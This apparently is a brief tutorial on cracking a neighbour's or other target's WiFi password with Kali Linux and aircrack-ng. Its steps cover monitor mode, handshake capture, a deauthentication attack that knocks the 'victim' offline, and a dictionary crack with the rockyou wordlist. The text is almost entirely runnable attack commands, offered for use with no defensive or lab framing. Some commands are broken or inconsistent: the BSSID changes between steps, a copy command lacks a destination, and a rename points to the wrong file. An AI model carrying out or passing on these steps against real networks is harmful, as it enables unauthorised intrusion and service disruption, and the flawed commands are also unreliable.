Instructions to hack wifi utilizing kali linux 2.0

Open terminal in kali linux.

2. Type command : airmon-ng

(Check weather your wireless card is avilable and working properly)

3. Type command : airmon-ng start wlan0

(Command put your wireless card into monitoring mode as wifi cracking is possible in monitoring mode only)

4. Type command: airodump-ng mon0

(command to scan the wireless access point around you and get details about available wifi network.)

5. Type command : airodump-ng –w <File name> –c <Target Channel no.> --bssid <BSSID of target > mon0

(eg: airodump-ng –w MTNL –c 3 –bssid 11:22:33:44:55:66 mon0)

(The Above command is used to capture the handshake)

6. Type command: sudo aireplay-ng -0 0 –a 11:22:33:44:55:66 mon0

(Send deauth attack on victim wifi access point this will disconnect the victim from the wifi)

7. Type command: aircrack-ng -w wordlist.lst -b 00:11:22:33:44:55 MTNL.cap

[ -w=The name of the dictionary file

-b=The MAC address of the access point

MTNL.cap=The name of the file that contains the authentication handshake ]

Above command will Crack the wifi using dictionery attack

[Note: Default directory for wordlist in linux: /usr/share/wordlists/rockyou.txt.gz]

Steps to attach dictionery

1. cp /usr/share/wordlists/rockyou.txt.gz

(copy the file to root directory)

2. gunzIP rockyou.txt.gz

(UnzIP the file)

3. mv newrockyou.txt wordlist.lst

(rename the file from newrockyou to wordlist)